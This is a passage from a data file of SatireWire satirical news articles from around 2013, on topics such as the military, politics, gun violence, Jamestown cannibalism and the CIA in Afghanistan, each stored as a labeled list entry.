really cute when she’s angry?” he said. '], ['no-topic', 'MILITARY TO BOOST FEMALE MORALE WITH MISS PENTAGON CONTEST', 'WASHINGTON, D.C. (SatireWire.com) – In an effort to address rampant sexual harassment in the armed forces, U.S. military commanders today announced they will hold a “Miss Pentagon” contest to boost the morale and standing of female soldiers. Posters for the contest will promote gender equality, says the Pentagon. Detractors immediately blasted the announcement, saying it exemplifies everything that is wrong with the military’s male-dominated culture, but Pentagon officials disagreed. “We understand our women in uniform feel disrespected right now,” said Lt. Gen. Mike Kirby. “That’s why this competition is so great. It gives female service members a chance to stand out from their male counterparts. We’re saying, ‘The Army isn’t all about men. We’ve got women, too! Look at ‘em!’” In a hearing with the Senate Armed Services Committee, Kirby conceded sexual assaults have risen sharply, but said the contest will help spread the word that harassment and abuse are off limits. For example, he noted, posters advertising the competition will include admonitions against sexual harassment. “We send out memos and directives about gender equality and mutual respect all the time. Nobody reads them,” said Kirby. “But put them on a poster with a beautiful babe and you’ve got their attention. Seriously. Some of the guys are literally standing at attention.” Kirby’s proposal led to a heated exchange with armed services committee member Sen. Kirsten Gillibrand, (D-NY), who has long championed women’s rights in the armed forces. “This contest is the antithesis of what you should be doing,” Gillibrand scolded. “What you should be doing is proving to women in the military that they are respected and deserve to be there.” “But Senator, these women will absolutely deserve to be there,” said Kirby. “To even get in the Miss Pentagon contest, you’ll first have to make it through one of contests from the four services. We’ll have a ‘Miss Hellcat’ contest for the Navy – that’s because a Hellcat was a Navy aircraft and also refers to a woman who’s really wild in…” “Yes, we get it,” said Gillibrand. “There’s also ‘Miss DD-Day’ for the Marines,” said Kirby. “That’s pronounced ‘Double D-Day’ because… “Alright, that’s enough,” Gillibrand interrupted. “The Army will have a ‘Miss Humvee’ contest because a Hummer is both a vehicle and… “I said that’s enough!” shouted Gillibrand, who abruptly stormed out of the hearing. After an awkward silence, Kirby addressed the remaining male members of the committee. “You guys want to hear about Air Force contest?” he asked. “It’s named for where the pilot sits…” '], ['no-topic', 'INTO THE GREAT ABOVE: THE CICADA STORY', 'There are a billion stories in cicada city. Some of them are long and some of them are short. Well, actually, all of them are short. Relatively. They’re cicadas, not sea turtles. Point is, these are a few of those stories. Treetop, for that is what he has named himself, scrabbles toward the light. After 17 years underground – 17 dark and lonely years living on tree sap and hope – he emerges, cold, frail, but alive. Fresh air thrills his lungs. The sky, so much brighter than he imagined, burns away the cloying decay that for so long defined him. But he does not linger on that past. He does not dwell in the what-was. Instead, on instinct, he climbs. And he climbs. The tree on whose roots he survived becomes his ladder; his path to a new life, a new start, in the Great Above. Up there, he tells himself, is the world he has dreamed of. Up there, just a little further, is a world of sunlight and song, of wings and flight and wonder. But then a bird eats him. Nearby climbs Icarus, smaller than many of his kind, but with a determination not seen since the days of his father, Leafrunner, and his mother, Dart. He never knew his parents, but he senses their presence. Though he cannot explain it, he knows, deep down in his ventriculus, that the spirit of his cicadean ancestors is what drives him, pulls him upward, makes him believe that today, Emergence Day, anything is possible. He pauses to catch his breath on a branch and wonders if they can see him, if they are proud of him. But then a bird eats him. Cyllata feels like she’s in a stream, not of water, but of life itself. Where once she was alone, now there are thousands, just like her, all around her, streaming upward, skittering over the rivulets of bark. Her unseeing, subterranean eyes do not belie the excitement she feels, nor do they behold the nymph she was. She only knows that now is the time to become an adult. Now, as she clings to this branch, to this moment, she knows the time has come to shed her skin; to break out of her shell; to emerge bold and beautiful, a swan of her species. Her body quivers as her shell splits open, as Cyllata, the new Cyllata, the real Cyllata, emerges. And then is eaten by a bird. Grass was never one much for imagining. Seventeen years of soil and solitude didn’t lend themselves to fantasizing, to “What ifs?” Patience was the key. Forbearance was the watchword. So it was no surprise, certainly not to Grass, that he named himself for the very first thing he came across when he clambered, at long last, from his lair. He did not think or wish or daydream as he climbed. He did not romanticize or visualize as he clung, like a mantis to its prey, and waited for instinct to take over, for his carapace to crack, for his body to thrust itself out, bit by bit, into the world above. Instead, it is now, only now, finally now, as his wings spread and his antennae shiver and the dew of 17 summers lifts from his eyes, that Grass allows himself to be surprised. Because a bird has eaten him. “Sun! Wind! Warmth!” Ptera sings as she basks on a leaf, unshelled and alive — oh so very much alive! “Green! Blue! White!” she chirps as the trees and the sky beckon her to join them. “Clouds! Shadows! What the…?” she adds as a bird eats her. Some men, they say, are born to the mines. Others are born to dance. They know, in their beings, what to do, how to do it. Shellsong, of course, knew nothing of men or mines. But he did know about love. He was born to love. He understood love. In his spiracled cicadean soul, he knew what to do, how to do it. He knew that his song, the plaintive cry from his taut, tymbaled loins, would prove irresistible. And he knew that his love, his mate, would return his call with a click. Song-click Song-click Song-click. Sweet love. That’s how it worked. And right on cue, as if Venus herself had taken up his melody, Shellsong hears it. The click. Right behind him. Is that my love? he thinks. Is that my darling? Is that my destiny? No, it’s a bird. Damn. In a thousand lifetimes, in a thousand times a thousand lifetimes, you would not find lovers more perfect for each other, more “meant” for each other, than Brightwing and Folitia. She, Folitia, is young and beautiful, an acrobat in the air with white-frosted wings and ruby eyes that shine with something more than desire – they shine with passion; captivating, honest, endless, He, Brightwing, is twice her age, having emerged three days earlier. He is wizened but not cynical, patient but not pedantic, and eaten by a bird moments before she is. Author’s Plea: Every day, millions of cicadas are cruelly, savagely, needlessly eaten. Any why? Because they’re delicious. But it doesn’t have to be this way. You can make a difference. Take the time, right now, to call or write the birds. Tell them to stop eating cicadas. Do it for Treetop and Grass, for Ptera and Cyllata. But most of all, do it because it will really confuse the birds, who don’t know how to read. '], ['no-topic', 'RADICAL MLM GROUP SAYS IT’S TAKEN HOSTAGES AND YOU CAN TOO!', 'WASHINGTON, D.C. (SatireWire.com) — A group of radical multi-level marketers claimed today it has kidnapped four hostages and you can too! In other radical news: A group of radical Pentagon contractors claimed today it has taken four hostages but plans to bill for six. A group of radical anagramists claimed today it has taken four she-goats. A group of radical environmentalists claimed today that instead of taking four hostages it has taken one hostage and plans to reuse him four times. A group of extremely sulky radicals claimed today it has taken four of the worst hostages ever. A group of extremely possessive radicals claimed today it has taken four hostages and wouldn’t trade them for the world. A group of extremely radical roommates claimed today it hasn’t touched any of your damned hostages. A group of extremely radical socialites claimed today it has taken four of the most incredible hostages really you must come meet them. A group of radical Jewish mothers claimed today it has taken four hostages who at least listen when you talk to them. A group of highly accommodating radicals claimed today it has taken four hostages out to lunch. A group of radical magicians claimed today it has taken four people from the audience completely at random and turned them into hostages. A group of extremely dependent radicals claimed today it has taken four hostages and already can’t imagine life without them. A group of radical cable company installers claimed today it has taken somewhere between one and six hostages. A group of radical New York Jets coaches claimed today it has taken four hostages and will try them all at quarterback what the hell it couldn’t get any worse. A group of radical exasperated schoolteachers claimed today its taken just about enough from its four hostages thank you very much. A group of radical Bush administration officials claimed today it has taken four hostages because Dick Cheney needs someone to play with. A group of radical auto mechanics claimed today it will take at least six hours labor to even get to look at its hostages but either way you’re going to have to replace your timing belt. A group of radical mortgage company executives claimed today it prefers the term “customers” to “hostages.” A group of radical airline executives claimed today it has taken four hostages and put them in the equivalent of two seats. A group of obsessive-compulsive radicals claimed today it has taken four hostages but just to make sure they’ll count again. A group of extremely spoiled radicals claimed today it has taken four hostages for granted. A group of extremely busy radicals claimed today it can’t possibly take on any new hostages at this time. '], ['no-topic', 'SANFORD CELEBRATES ELECTION WITH MURDEROUS RAMPAGE', 'CHARLESTON, S.C. (SatireWire.com) — Disgraced former Gov. Mark Sanford celebrated his incredible comeback election Tuesday by going on a five-county rampage of arson and murder because in South Carolina that’s still not as bad as being a liberal. What Nancy Pelosi actually looks like to South Carolina voters. “I just killed a man with my bare hands!” an amazed Sanford told a raucous group of Republican supporters moments after winning over, and marauding through, the 1st Congressional District. “But then again, I’m not a Democrat. So, are we cool?” “You can shoot my grandma if you stop Obamacare!” shouted one supporter. “My sister is all yours if you oppose gay marriage!” yelled another. “Consider it done,” Sanford replied. “No, I mean it. I already did her.” Sanford, who as governor repeatedly cheated on his wife, lied to the public, took private travel at government expense, and abandoned his post for a week to have sex with his mistress in Argentina, nevertheless won a special election for a U.S. House seat over Elizabeth Colbert-Busch who, while a successful business executive and single mother with no known moral lapses, was a Democrat. While the race was fairly close at 54 to 45 percent, observers said the campaign pledges separated victor from loser. Colbert-Busch promised constituents she would be independent and moderate. Sanford told constituents he would “steal their trucks, kill their dogs, and stop Nancy Pelosi.” “In South Carolina,” explained political consultant Drew Parnell, “voters heard that last bit as, ‘Bla bla bla, bla bla bla, Nancy Pelosi.’” Still basking in the glow of victory blood on his suit, Sanford said he was humbled by the electorate’s decision to put politics ahead of probity no matter what he does. “I am a flawed man but, by the grace of God, I am a forgiven man, one who will spend the next two years fighting on your behalf,” he said. “Although technically I’ll be spending the next two years backpacking in Venezuela with transvestite hookers.” '], ['no-topic', 'ISRAEL CLAIMS IT JUST HAPPENED TO BE BOMBING IN NEIGHBORHOOD', 'By: An Israeli Warplane I know, right? I looks kinda awkward that I “just happened” to bomb Damascus Sunday, but that’s what happened. It wasn’t, like, planned or anything. It wasn’t like I went out of my way. I was just bombing in the neighborhood. Honestly. It was totally a last minute, impulse thing. You see, I was bombing near the Syria-Lebanon border, knocking out a weapons convoy headed to Hezbollah from Iran, and I was like, “Hey, I wonder what’s up with that chemical weapons research center near Damascus. And the barracks where Syria’s top military hangs out.” True, Damascus is a long way from Tel Aviv, but it’s not like I was walking. I was flying. It only took a few minutes. No biggie. And just so you know, I bomb a lot of places. It’s not like you’re special. Don’t be so high on yourself. Yeah, I understand it looks weird if you’re, say, Bashar al-Assad. But hey, I can’t drop in on an old friend? And by friend I mean not a friend? I’d have been embarrassed not to. If I hadn’t, probably you’d be saying, “What, you’re in the neighborhood and you don’t bomb me? What am I, chopped liver?” Seriously, I don’t know why you’re even making a big deal out of this. Unless I caught you at a bad time. Did I catch you at a bad time? You were busy killing innocent civilians or something, right? Isn’t that always the way? I mean, you’re just getting in the shower or sitting down to dinner or killing innocent civilians and suddenly the doorbell rings, except in this case it’s not a doorbell it’s a bomb. Semantics. Last thing you need, right? It’s so hard to kill your own people when others are constantly dropping bombs in on you. I get that. But hey, Bashar, probably I’m not the only foreigner who’s dropped a bomb on you lately, right? A genocidal maniac like you, I bet lots of outsiders dropping bombs on you every day. Wait, they’re not? You’re kidding. That’s so sad. Honestly. You should totally have more folks bombing you. OK, so I guess I should have called ahead, although, talk about awkward: “Hey Bashar, I’m bombing in your neck of the woods and was thinking of stopping by about, oh, 2 a.m., knocking out the your Revolutionary Guard, the 104th brigade headquarters, a weapons depot in Qasyoun and a military research center at Jamraya. You up for visitors?” Cause you’d say no, am I right? You always say no. You need to loosen up. I was trying to be fun and spontaneous. Minus the fun part, technically. But certainly spontaneous. Some people like surprises, you know. Guess you’re not one of them. '], ['no-topic', 'JAMESTOWN OPENS COLONIAL AMERICANNIBALISM EXHIBIT', "“Scientists have verified that early Jamestown, Va., colonists ate fellow settlers in order to stay alive during a brutal winter dubbed ‘the starving time.’” – USA Today, May 2, 2013 COME FOR THE HISTORY — STAY BECAUSE YOU FAINTED So you think history is boring? Not anymore! Come to Jamestown Settlement — America’s first permanent English anthropophagic colony – where Colonial Americannibalism comes to life! Then is knocked unconscious, disemboweled, flayed, filleted, salted and eaten. Bring the kids! SEE IT. LIVE IT. RETCH IT. Don't Ask Don't Smell Unlike other historic sites with their ill-informed, unenthusiastic staff, our authentic, specially seasoned reenactors have a real cannibal-do attitude. Join a costumed interpreter portraying one of Jamestown’s original or extra-crispy residents and learn of the trials, tribulations and marinades of life, death and digestion in early Virginia. Mingle with personalities like Capt. John Smith, Mistress Rachel Stanton and maidservant Anne Burras as they feast on personalities like Capt. John Ratcliffe, Mistress Joan Pierce and Col. Thomas Lygon, O.B.E., Yum-e-e. What our visitors are saying: “No! No! No! No! No! God make them stop!” – Jane S., Green Bay, Wisc. Fun Fact: Did you know that colonial women who ate their husbands didn’t inherit their property? How unfair! NOT JUST AMERICA’S BIRTHPLACE, AMERICA’S WORSTPLACETM Those who don’t learn about history are condemned to repeat it, right? Well, at Jamestown Settlement, you get both! You’ll learn about history and you’ll feel condemned! That’s because we’ll introduce you to events that no one should have to remember! Ever! Strike out on your own to pick through the original James Fort and see not just things left over by settlers, but leftovers of the settlers themselves! Or join a small, inside and up-close tour of the 1609 storehouse led by master chef Gilles Grimande, Director of the Jamestown Anthropogastronomic Society. The tour then moves on to an exclusive, behind-the-scenes visit of the archaeological vault for a rare look at the 1609-1610 menu collection, most of which will never go on public display because they’re all so insanely repulsive! And that’s before you realize what the menus were written on! What our visitors are saying: “What is wrong with you people!?” – Carl R., Providence, R.I. Fun Fact: Jamestown settlers lived on a variety of vegetables including squash, beets, carrots, and master William Biddeford after he fell into that coma. WHERE MENUS, LIKE HISTORY, ARE WRITTEN BY THE WINNERS Capt. John Smith led colonists through the first Winter, and, later, through the entire Winter family. Unlike revenge, history is not a dish best served cold. That’s why young and old alike will be engrossed by the dinner show, where Jamestown reenactor-butcher Miles Goolsby, author of Who’s in the Stew? and How to Throw a Fabulous Donner Party, chooses a lucky audience member to help him dismember and cook “Mistress Winfield,” who actually swears unholy epithets at you in Ye Olde English! Oh, she’s a salty one! No, literally. She was salted a week in advance. What our visitors are saying: “Seriously, this is fucked up.” – Kevin O., Shaker Heights, Ohio. Fun Fact: Jamestowners were very friendly. Whenever a new ship arrived, councilman Edward Wingfield would famously call out, “Come, let us meat the newe neighbours!” A DAY OF ADVENTURE, A LIFETIME OF THERAPY Blind-man's bluff was not a game you wanted to lose; or ever play. Kids, get your game-face on! Or lose your face! At Jamestown you can witness and participate in popular diversions of 17th- and 18th-century Virginia. Visitors can play a variety of Jamestown’s favorites including: whirligigs, ninepins, quoits, hide-and-shriek, Tag You’re Eat and jump-in-the-pot. Hey Mom and Dad, want to spend some time alone to gather your thoughts, and your composure? Why not drop the kids off at our ‘Reenactivities Centre’ and say goodbye to them for the day, or, for a special fee, forever! History is great fun at Jamestown Settlement – America’s This-Is-Really-Really-Not-Appropriate-for-Childrenplace! What our visitors are saying: “I wanna go home!” – Consuelo M., San Antonio, Tx. Fun Fact: Jamestown children too young to eat grownup food would instead start out in the Little Cannibbles Programme. Jamestowne was originally spelled with an 'e' until the settlers ate it. YOUR ENTRÉE INTO THE NEW WORLD Coming for the day? Come hungry! At Jamestown Settlement, we’ve got loads of goodies, like 21-year-old Goody Babbage, affectionately known around here as America’s Founding Fodder. Watch in stunned awe as the innocent mistress Babbage steps out of her hut, is clubbed on the head, dismembered and parsed out to the delightful screams of children and adults alike. You can even take the remains home with you because at Jamestown Settlement, they’re not just artifacts, they’re eat-ifacts! What our visitors are saying: “Why are you buttering my leg?!” – Richard P., Ft. Myers, Fla. Fun Fact: Jamestown became famous for tobacco, which settlers would inhale through pipes, and that’s where the term “smoked meats” comes from. DO YOU BAKE THIS MAN TO BE YOUR LAWFULLY BREADED HUSBAND? Literally give your hand in marriage! Jamestown Settlement isn’t just for historic visits, but historic occasions, like your wedding! Imagine celebrating in a gorgeous, historic setting where America’s early settlers met, fell in love, got married, grew ill, fell dead, and ate each other! Contact us now for great rental rates on the Jamestown Community Meating House. So what are you waiting for? Make your reservations today to visit the historic Jamestown Settlement — America’s Oh-My-God-This-Is-Horrible-I’m-Going-To-Be-Sickplace! What our visitors are saying: “Actually, I’m quite enjoying this.” – Hannibal L., Baltimore, Md. Fun Fact: Pocahontas married Jamestown settler John Rolfe, who got his last name from the noise he made every morning when he woke up and realized he lived in Jamestown! "], ['no-topic', '“AMERICA’S BEST COLLEGES” (for Hiding from a Gunman on Campus)', 'The pace of college today is faster than ever, especially if you’re running around trying to find someplace to hide during a lockdown. That’s why today SatireWire releases its list of America’s Best Colleges (for Hiding from a Gunman on Campus), which ranks the nation’s schools based on their academic prowess, social atmosphere, and the number of places students can safely conceal themselves to avoid detection should the need arise. “We know the search for the right school is hard work, and we hope this list allows you to hit the ground running,” said ratings editor Treat Warland. “Preferably in a zig-zag motion.” Added Texas high school senior Trent Davely: “College today means studying and partying and hiding. It’s all about finding the right balance. America’s Best Colleges (for Hiding from a Gunman on Campus) is just the tool I need!” So which schools get our coveted Conceal of Approval? Like a target trying to shrink behind a lamp post, we’ve narrowed them down to the Top 5. But if your school isn’t on the list, look on the bright side: running for cover is a great way to burn off that freshman 15! #5 College of Charleston, Charleston, S.C. Enrollment – 11,300 At CofC you can hide behind letters Places to Hide – 2,895 Our comments: If you’re looking for a school where you can get good grades, have a good time, and not die, the College of Charleston might be for you. Survival is often a numbers game, and because C of C is 67 percent female, and campus madmen tend to be, well, men, the odds are ever in your favor. With an impressive student-hiding place ratio of 4.5 to 1, C of C is also in the middle of a city, meaning you can run into local neighborhoods for cover if you have to. But don’t run too far. Some of the neighborhoods aren’t safe. Prospective student comments: “I can totally see myself fitting in at the College of Charleston, specifically in the women’s lockers in the athletic building, which are oversized and can actually be locked from the inside.” #4 Florida State University – Tallahassee, Fla. Enrollment – 41,710 Places to Hide – 4,210 Our comments: Legally hide behindable With a student-hiding place ration of 10:1, Florida State might not seem ideal, but remember that Florida has “concealed carry” and “stand your ground” laws, meaning that some of your classmates might try their luck at stopping the attacker. Translation: more time and places to hide for you! Prospective Student Comments: “When I visited FSU recently, I really felt comfortable. It’s someplace I could absolutely see myself going to and hiding. There are lots of cubbyholes in the library, and a lot of the benches scattered around campus are solid, not those wooden ones with openings between the slats. With any luck, there won’t be any semi-holes in this Seminole!” # 3 Yale University – New Haven, Conn. Enrollment – 11,593 Places to Hide – 3,414 Our comments: Yale is not only one of America’s most highly selective universities, it’s one of the most highly secretive universities. And secrecy = safety. There are actually 22 Yale students hidden in this picture The school, which is split into 12 separate residential colleges (apparently to keep the students from knowing about each other), not only has a network of underground tunnels and sub-sub basements, but it has so many secret societies with secret meeting places that there are never more than a dozen students visible on campus at any given time. So unless the perpetrator is a member of one of those secret societies – and there’s a 90 percent chance even he won’t know if he is – you’re pretty safe. Incoming freshman comments: “When I went on my campus visit to Yale, our guide took us into the basement of the chemistry building, opened a maintenance closet at the back of an unused classroom, and then lifted a ceiling panel just above the water heater. We found students living up there who’d been hiding since 2002! They literally had ivy growing on them!” #2 University of Michigan – Ann Arbor Enrollment – 40,693 Places to Hide – 7,142 Our comments: Join the lumps in the Wave Field It’s an art project. It’s a hiding place. It’s two things at once! The Wave Field at the University of Michigan (pictured) is a 10,000-square-foot earth sculpture featuring some 50 humps – each about three feet tall — great for diving into if the gunman is on foot (and rather short, it must be said.) U of M also has an extensive network of underground steam tunnels great for frittering away frightened hours. But Michigan makes the top five for an even bigger reason. It has the largest football stadium in the country, seating 109,901. We’re not saying there’s safety in numbers, but it does lower your odds. Current Student Comments: “I always feel safe at Michigan, although maybe a little too safe. The truth is, binge-hiding has become a real problem on campus. People will conceal themselves six, seven, even a dozen times a night. Then they’re late for class the next morning because they can’t remember where they are.” #1 Rice University – Houston, Texas Enrollment – 6,082 Places to Hide – 6,977 Our comments: At Rice, you can’t see the students for the trees Although it’s in a city, Rice is one of the most heavily wooded campuses in America. In fact, according to the administration, nearly 50 percent of the student body is behind trees at any given moment. With 4,300 trees on its grounds, that’s nothing to sneeze at. (Note: sneezing is a very bad idea when you’re trying to hide, so don’t go to Rice if you have tree allergies.) Overall, with a student-hiding place ratio of better than 1:1, Rice earns the top spot in our list, meaning students have good reason to hold their heads high. Although for obvious reasons they should keep their heads down. Current student comments: “Our students are some of the brightest, most motivated, and well-concealed in America. Not only do we have intramural Hide & Seek, but the weekly Lockdown Parties are the best. They’re a great way to make new friends, and usually pretty safe friends, as they’re not the people you’re being locked away from.” IMPORTANT FOOTNOTES FOR THIS LIST: * Hiding places included: rooms, closets, toilets, cabinets, trees, shrubs, boulders, sofas, walls, basements, booths, carols, nooks, crannies, corners and roommates who are heavy sleepers. * Hiding places not included: curtains, sticks, fingers, grass, smiles, online personae, statuary under 3 feet and that weird kid who works at Starbucks in the Student Center. * Rice University did not remunerate the author in exchange for obtaining the #1 ranking despite repeated attempts by the author to make this happen. * Yale University did remunerate the author $10,000 for keeping Harvard off the list and another $30,000 if the article made no mention of Harvard at all… aw shit. * California colleges do not appear in the study because the author dated a girl from UC-Berkeley once and it didn’t work out and he doesn’t want to be reminded of it. * The University of Maine was not included in the study as the author couldn’t find it. Seriously, where the hell is Orono? * Binge-hiding is a serious mental health issue and anyone suffering from it should be subjected to bright lights and loud noises and repeated shouts of ‘We can see you, Elliot!’ until Elliot comes out. * Be aware that students found lying in a closet in the fetal position may not be suffering from binge-hiding but may simply be named Elliot. * Basically the author knew a guy in college named Elliot and he was a total dweeb. * America’s Best Colleges for Hiding from a Gunman on Campus is part of SatireWire’s “America’s Best College” series, which includes: America’s Best Colleges for Art History Majors Looking for a Career in Fast Food America’s Best Colleges for Math, Science and Not Having Sex America’s Best Community Colleges Like That’s Even Possible America’s Best Colleges to Go to If You Later Want to Write a Book Entitled, ‘Everything I Ever Needed to Know About Massive Debt I Learned in College’ America’s Best Colleges for People Too Lazy to Do Their Own Research About America’s Best Colleges '], ['no-topic', 'CIA DEFENDS BRIBES, SAYS KARZAI VERY HELPFUL, ALSO SOLID GOLD', "KABUL (SatireWire.com) — The CIA today vehemently denied that tens of millions of dollars in cash secretly paid to Afghan leaders was wasted or “simply disappeared,” pointing out that if that were true, Afghan President Hamid Karzai would not now be made of solid gold. Karzai's gilding has been one of the CIA's few successful endeavors in Afghanistan “To say we can’t establish exactly where the money went is an insult to our accountability and his ductile, lustrous beauty,” said former CIA Director George Tenet. “Every illicit dime went into making that man the statue of aurelian perfection he is today.” That response baffled House Intelligence Committee Chairman Mike Rogers, who was outraged to learn the CIA was handing over bags of cash to Karzai for 10 years. “I don’t see how making Hamid Karzai out of gold promotes U.S. interests or indicates progress in that volatile region,” Rogers said during a closed committee hearing. “Actually, it’s real progress,” Tenet replied. “The Shah of Iran got millions from us and the best he achieved was a light coat of bronze. In Egypt, Hosni Mubarak got billions and was still 85 percent silver. With Karzai, we’ve gotten a lot more done for a whole lot less.” Tenet credited field agents with keeping the program on track. “At the CIA, we don’t just give money away without demanding results,” he said. “Every time we handed over a wad of cash, we would say, ‘Mr. President, what are you doing with the money?’ And he would say, ‘I’m turning myself into gold.’ “So there was total accountability. We knew what he was doing, and he knew we knew what he was doing.” Porter Goss, Tenet’s CIA predecessor, admitted the agency initially intended to use the cash to buy influence and settle disputes among rival factions, but that idea fell through. “We quickly realized Afghanistan was so corrupt you couldn’t even buy trust,” said Goss. “But we had all this covert money. What were we going to do with it?” “You could give it to me so I could turn into gold,” suggested Karzai. “That would be something.” “Yeah alright,” Goss replied. Despite the success in creating Karzai’s flaxen sheen, Rogers vowed to launch a House investigation into the CIA, which Tenet called outlandish. “You know, you accuse us of propping up every tin-horn dictator there is, so when we finally say, ‘Alright, let’s prop up a gold-horn dictator,’ you’re still mad,” he told the committee. “No wonder people hate Congress.” "], ['no-topic', 'CHRYSLER BUILDING COMES OUT AS GAY', 'NEW YORK CITY (SatireWire.com) — Inspired by 7-foot NBA center Jason Collins and towering Baylor basketball star Brittney Griner, Manhattan’s iconic Chrysler Building today joined the parade of really tall things coming out as gay. After coming out, the Chrysler Building says it now feels inside the way it looks outside. “I’m an 83-year-old Manhattan skyscraper. I’m silver. And I’m gay,” the 77-story building wrote in a first-person essay in Architectural Digest. “I didn’t set out to be the first openly gay building in a major American city,” the art deco structure wrote. “If I had my way, someone else would have already done this. Like the Transamerica Pyramid in San Francisco. Oops! My bad.” The Chrysler Building said it was encouraged to come out by towering centers Griner and Collins, both of whom recently told Sports Illustrated they were gay. But its quest to be comfortable in its own brick-and-steel skin goes back at least 12 years. “After 9/11, when the Twin Towers came down, all us skyscrapers in New York got extra attention, we were treated special,” it wrote. “But I didn’t feel special. I felt like a thousand-foot fraud. I was tall and proud on the outside, but inside I was 77-stories of sad.” The Chrysler Building was certainly not alone. According to renowned architect Cesar Pelli, about 20 percent of the world’s built environment is gay. Not surprisingly, most of the publicly gay structures are in Europe, where LBGT buildings are secure in their sexuality, (with the exception of the Vatican). American edifices have long been afraid to follow, but the Twitter response to the Chrysler Building’s announcement may change that. “So proud of little bro #ChryslerBuilding for standing tall. RESPECT!” tweeted the Empire State Building. “I’m proud to call the Chrysler Building a friend,” tweeted the neighboring MetLife Building. “Time for others to step up. Talking ‘bout you, Trump Tower.” The stodgy old Woolworth Building on Broadway, however, didn’t share the enthusiasm, tweeting: “Am I the only one creeped about by the Chrysler Building? Don’t like idea of CB checking out my lower floors!” “Always gonna be haters,” the Chrysler Building responded. “But what’s important is to love yourself.” Indeed, with today’s announcement, one of the world’s most beautiful buildings said it finally feels, well, beautiful. Or in its words: “I’m architectural. I’m homosexual. Get used to it!” '], ['no-topic', 'THIS WEEK IN BLAME', 'APRIL 18-25 NEW HAVEN, CT (SatireWire.com) — From the bombings in Boston to potholes in Britain to whatever it was CNN got wrong this time, someone or something has to take the blame. As a new public service, SatireWire presents, “This Week in Blame” — a sadly accurate list of 50 actual things blamed for things during the past 7 days. (See footnotes at bottom for causes of blame) 1. The FBI 2. The CIA 3. The NRA 4. Profiteroles 5. North Korea 6. South Korea 7. Drug-resistant gonorrhea 8. A 10-year-old with pepper spray 9. A 49-year-old with memory lapses 10. A 19-year-old with five bombs 11. A news anchor with F* bombs 12. No one 13. Everyone 14. Each other 15. Someone else 16. The Jews 17. His previous lawyer 18. His Jihadist brother 19. Her previous makeup artist 20. Unusually high winds 21. “Unusually thin” windows 22. Windows 8 23. The Syrian government 24. The Cinnamon Challenge 25. The sequestration 26. The New York Jets 27. The Jews again 28. Barack Obama 29. A band of Gypsies 30. The band Nirvana 31. The Roman Empire 32. Weather 33. Hackers 34. Twitter 35. “Twattery” 36. Glancing suggestively 37. Plastic surgery 38. Lack of exercise 39. Too much exercise 40. An overloaded electrical outlet 41. A source who failed to “clarify” 42. A cormorant 43. An otter 44. A dog 45. An Elvis impersonator 46. Sorry it’s not the Elvis impersonator it’s someone else 47. Bald tires 48. A microwavable teddy bear 49. Liverpool striker Luis Suarez, and… 50. The Jews again BLAMENOTES: 1- Failing to track the Boston bombers; 2- Failing to track the Boston bombers; 3- Stopping gun background checks; 4- Listeria outbreak; 5- Scaring the world; 6- Scaring North Korea; 7- Being untreatable, also awful; 8- Injuries; 9- Stealing money; 10- Boston Marathon bombing; 11- Firing of said news anchor; 12- a missing guitar; 13- Sexual assaults; 14- Haliburton/BP/Transocean; 15- The Boston bombings, according to the suspects’ mother; 16- The Boston bombings; 17; Discrepancies in the defendant’s testimony; 18- Getting him to go along with the bombing; 19- Putting too much makeup on Joseline Hernandez; 20- Knocking down a Canadian building; 21- Causing a man to fall to his death after his wife pushed him through said window; 22- Being Windows 8, mostly; 23- Using chemical weapons; 24- Sending youths to the hospital; 25- Airport delays; 26- Signing Tim Tebow; 27- Derailing the peace process; 28- Budget woes; 29- Theft of rhino heads; 30- Ruining David Lee Roth’s career; 31- British potholes; 32- Higher commodity prices; 33- Hacking the AP’s Twitter feed; 34- Allowing itself to be hacked; 35- Getting a British politician in trouble; 36- Women being raped in India; 37- Causing all Miss South Korea pageant contestants to look alike; 38- Obesity; 39- TV presenter Andrew Marr’s heart attack; 40- A fire; 41- CNN’s John King erroneously reporting the Boston bombing suspects had been arrested; 42- Killing fish; 43- Killing fish; 44- Killing a cat; 45- Sending a Ricin-laced letter to the White House; 46- Or not; 47- Road accident; 48- A fire; 49- Biting an opposing player; 50- All wars, plots, and corruption in the world. Obviously. '], ['no-topic', 'AFTER BOMBINGS, NATION SETTLES DOWN TO RESUME SHOOTING ITSELF', 'SEATTLE (SatireWire.com) — After a tragic week that saw terrorist bombs strike the heart of Boston, Americans are breathing a sigh of relief today that the worst is over and they can go back to simply shooting each other. Said this Richmond, Va., woman: "Terrorists hate us for our freedoms, but we hate us for no reason at all.” The healing began right away as the nation awoke Monday to learn of a deadly shooting in Seattle, while over the weekend, a sense of normalcy and gunfire erupted in Fayetteville, N.C., Hampton, Va., Fort Myers, Fla., Bridgeport, Conn., Pomona, Cal., Irondale, Mo., Bridgeton, N.J., Portsmouth, Va., Brentwood, Tenn., Macon, Ga., Middlebury, Vt., and Gulfport, Miss., as well as Honolulu, Denver, St. Louis, Milwaukee, Cleveland, Houston, Detroit, San Jose, Oakland, Phoenix, and Cincinnati. These acts of self-inflicted defiance are proof, some insisted, that Americans will never give in to terror. “If we stop shooting each other, the terrorists win,” said Cliff Evansi of Chicago, where numerous shots of freedom rang out Saturday and Sunday. “As a nation, we need to show the terrorists that no matter what they do, they can never change who we are.” So far the nation is indeed pulling together to pull itself down. In the Boston Marathon bombing and its aftermath, four people were killed and hundreds injured. But nationwide, the gun-related deaths and injuries since then have far surpassed those numbers. “Thank God the great horror is over and we can go back to the smaller, sporadic horrors that define our way of life,” said Janelle Greenway of New Orleans, where five people were shot Monday. “It’s wonderful to see the whole nation – from Florida to California — pitching in to help us move on.” Although, she added, not every state appeared to be getting into the spirit. “I don’t want to point fingers, but step it up, Maine,” she said. In Fort Worth, Texas, where three people were shot early Monday, resident Bobby Koladem said he was reminded of how the nation reacted twelve years ago. “After 9/11, people said America would never be the same, but we showed them,” he said. “We went right on shooting each other as if the terrorists’ attempts to unite us had never happened.” In fact, in 2001, there were more than 29,000 guns deaths in the United States. In 2002, there were more than 30,000. “That’s the kind of spirit we need to harness again,” said Koladem. “And I know that we will. We’re Americans. We’ll get through this, and at the end of the day, we will emerge stronger, better, and shootier than ever before.” '], ['no-topic', 'SENATORS BID EMOTIONAL FAREWELL TO THEIR BALLS', 'WASHINGTON, D.C. (SatireWire.com) — In a solemn, often plaintive ceremony tinged with ineludible regret, 40 United States senators bid an emotional farewell to their balls Wednesday, moments before siding with the gun lobby to vote down a bill expanding background checks for gun purchases. "The upside is these guys won\'t be able to procreate," said one optimistic gun-control advocate. The ritual began as Sen. Richard Shelby of Alabama led a procession of his fellow emasculates down the aisle to the 